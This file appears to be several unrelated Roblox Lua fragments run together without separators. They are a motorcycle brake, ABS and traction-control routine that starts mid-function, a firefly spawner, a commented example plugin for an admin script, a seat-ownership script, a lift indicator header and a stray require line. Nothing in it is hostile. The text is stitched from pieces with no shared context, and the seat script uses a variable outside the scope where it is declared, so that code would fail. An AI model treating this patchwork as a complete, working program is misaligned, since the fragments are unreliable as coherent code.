Front.Axle.HingeConstraint.MotorMaxTorque=PBrakeForce*(60/workspace:GetRealPhysicsFPS()) else if _CGear == 0 and bike.DriveSeat.Velocity.Magnitude <= 10 and _Tune.NeutralRev then Front.Axle.HingeConstraint.MotorMaxTorque=FBrakeForce*_GThrot*(60/workspace:GetRealPhysicsFPS()) else --Apply ABS local ftqABS = 1 if _ABS and math.abs(Front.Wheel.RotVelocity.Magnitude*(Front.Wheel.Size.Y/2) - Front.Wheel.Velocity.Magnitude)-_Tune.ABSThreshold>0 then ftqABS = 0 end if ftqABS < 1 then _fABSActive = true end local brake = FBrakeForce if _Tune.LinkedBrakes then local bias = _Tune.BrakesRatio/100 brake = brake*bias end Front.Axle.HingeConstraint.MotorMaxTorque=brake*_GBrake*ftqABS*(60/workspace:GetRealPhysicsFPS()) end end --Rear _TCSActive = false _rABSActive = false --Output if _PBrake and bike.DriveSeat.Velocity.Magnitude>=20 then --PBrake _SlipCount = _Tune.SlipABSThres bticc = tick()-_Tune.SlipTimeThres Rear.Axle.HingeConstraint.MotorMaxTorque=PBrakeForce*(60/workspace:GetRealPhysicsFPS()) Rear.Axle.HingeConstraint.MotorMaxAcceleration=9e9 Rear.Axle.HingeConstraint.AngularVelocity=0 else --Apply Power if _CGear == 0 and bike.DriveSeat.Velocity.Magnitude <= 10 and _Tune.NeutralRev then bticc = tick() _SlipCount = 0 Rear.Axle.HingeConstraint.MotorMaxTorque=math.min((500*_GBrake)+(RBrakeForce*_GThrot),500)*(60/workspace:GetRealPhysicsFPS()) Rear.Axle.HingeConstraint.AngularVelocity=7*_GBrake*(1-_GThrot) elseif _GBrake==0 then bticc = tick() _SlipCount = 0 local on=1 if not script.Parent.IsOn.Value then on=0 end local throt = _GThrot local clutch=1 if _ClPressing then clutch=0 end --Apply TCS local tqTCS = 1 if _TCS then tqTCS = 1-(math.min(math.max(0,math.abs(Rear.Wheel.RotVelocity.Magnitude*(wDia/2) - Rear.Wheel.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100))) end _TCSAmt = tqTCS if tqTCS < 1 then _TCSAmt = tqTCS _TCSActive = true end --Update Forces Rear.Axle.HingeConstraint.MotorMaxTorque=_OutTorque*throt*tqTCS*on*clutch*(60/workspace:GetRealPhysicsFPS())*(1+(Rear.Wheel.RotVelocity.Magnitude/(120-workspace:GetRealPhysicsFPS()))^(1.15+(.07*(1-(60/workspace:GetRealPhysicsFPS()))))) Rear.Axle.HingeConstraint.AngularVelocity=_spLimit --Brakes else --Apply ABS local rtqABS = 1 if math.abs(Rear.Wheel.RotVelocity.Magnitude*(wDia/2) - Rear.Wheel.Velocity.Magnitude)-_Tune.ABSThreshold>0 then if _ABS then rtqABS = 0 _SlipCount = _SlipCount + 1 end else bticc = tick() end if rtqABS < 1 then _rABSActive = true end local brake = RBrakeForce if _Tune.LinkedBrakes then local bias = _Tune.BrakesRatio/100 brake = brake*(1-bias) end Rear.Axle.HingeConstraint.MotorMaxTorque=brake*_GBrake*rtqABS*(60/workspace:GetRealPhysicsFPS()) Rear.Axle.HingeConstraint.AngularVelocity=0 end end end
-- Spawn up to a amount of flies at the beginning
local Model = script.Parent local Amount = Model.Configuration.Amount local Fly = Model.FireFly:Clone() -- Clone a fly from the start Model.Center.CenterPart.Transparency = 1 -- Make the center part invisible. It has no purpose when the game runs if Amount.Value > 1 then for i = 1, Amount.Value-1 do -- Spawn up to Amount new flies newFly = Fly:Clone() newFly.Position = Model.Center.CenterPart.Position newFly.Parent = Model end end
--[[ SERVER PLUGINS' NAMES MUST START WITH "Server:" CLIENT PLUGINS' NAMES MUST START WITH "Client:" Hi, this is an example plugin, meaning this is only to show you how to make your own plugins! All plugins need to be MODULE SCRIPTS! Not regular or local scripts, if its not a module script it wont work. If you want to use events from the main admin script such as CharacterAdded, PlayerChatted and PlayerJoined then simply look the following: set.MakePluginEvent('PlayerChatted',function(msg,plr) print(msg..' from '..plr.Name..' Example Plugin') end) set.MakePluginEvent('PlayerJoined',function(p) print(p.Name..' Joined! Example Plugin') end) set.MakePluginEvent('CharacterAdded',function(plr) set.RunCommand('name',plr.Name,'BobTest Example Plugin') end) Use set.MakePluginEvent(type,function) to add a function that gets run when the event is fired in the main script, only CharacterAdded, PlayerJoined and PlayerChatted are currently supported. If you want to run an admin command from a plugin, you need to use set.RunCommand(cmd,args) EX: set.RunCommand('name',plr.Name,'BobTest Example Plugin') will run ":name Player1 BobTests Example Plugin" NOTE: If you are running a command that needs a sending player (such as !quote, !donate, !explore, or any command that spawns guis on the player running the command) it WILL break, the script will continue functioning fine however the command will error and do nothing. Plugins give you the ability to change or add things to the main script without editing the actual script. You can add commands, functions, features, and you can use anything in the table "set" (the main script table which contains all functions, settings, and commands.) First off lets go over the format of commands. Commands must be formatted in the following way: set.MakeCommand(CommandName,AdminLevel,Prefix,{command1,command2},{argument1,argument2},function(plr,args) print('Hello World from inside an example command!') end) Now lets go over each element of MakeCommand function. CommandName - Name of the command AdminLevel - who can use the commands (-3=FunCommand Owners+; -2=FunCommand Admins+; -1=FunCommand Temp+; 0=Any Player; 1=Donors;2=Temp+;3=Admin+;4=Owner+;5=Place Owner) Prefix - the prefix to use (the : in :kill me) use set.Prefix to use the scripts set prefix (or set.AnyPrefix for the AnyPrefix setting) {command1,command2} - these are commands that can be chatted to run this command {argument1,argument2} - type of arguments (eg {"player","message"}) NumberOfArguments - how many arguments are there? (How many times to split the message?) function(plr,args) - you need to include this, however you can change plr and args but its recommended you dont to avoid confusion. Now that we know what each thing is, go ahead and take a look at the example command. All the code to run MUST be in a function, as seen below, that gets returned. Anything inside the main function will be ran by the main admin script. If you want to use things from the main admin script use set. For example: return function(set) print('hi') end Client plugins are EXACTLY the same as server plugins, just they run on the client instead. Because all guis are made via the client script, client plugins also gives you the ability to edit and make your own guis for the script that you can call using set.Remote(PLAYER,"Function","GUI FUNCTIONS") Please note that if you want to be able to tell the client to load a gui, the gui will need to be in the client's "set" table as it is where all the functions to be executed by the server are stored. Read over the client script to get a better idea of how it works. --]] -------------------------------------------------------------------------- --Beginning of example plugin
return function(set) --function that the main script will run --Lets make an example command set.MakeCommand('Example Plugin Command',0,set.Prefix,{'example','forshow'},{'message1','message2'},function(plr,args) print('Hello World from inside an example command!') print('The first argument is '..args[1]..' and the second is '..args[2]) print('The player who ran the command is '..plr.Name..'!') end)--Player chats ":example Args1 Args2" print('Hello World from inside an example plugin!') --makes the command "example" and prints "Hello World from inside an example plugin!" end -- end of the main function
-- made by Weeve. for all of you lamo scripters out there, can you at least leave my name here? -- don't edit anything here
seat = script.Parent function onChildAdded(part) if (part.className == "Weld") then while true do local welde = seat:FindFirstChild("SeatWeld") if (welde ~= nil) then local sitted = welde.Part1.Parent end if (sitted.Name ~= script.Parent.Owner.Value) then if (script.Parent.Owner.Value == "NoOne") then script.Parent.Owner.Value = sitted.Name else local shipstealer = game.Workspace:FindFirstChild(sitted.Name) if (shipstealer ~= nil) then shipstealer.Humanoid.Jump=true end end end wait(0.2) if (welde == nil) then print("BreakLoop") script.Parent.Owner.Value = "NoOne" break end end end end
-- NTE / Teknikk Lifts - Dot Matrix Indicator V2 -- -- SCRIPTED 25/11/17 BY OVERLOADDETECTED --
--> Dependencies
local MobList = require(script.Parent.MobList)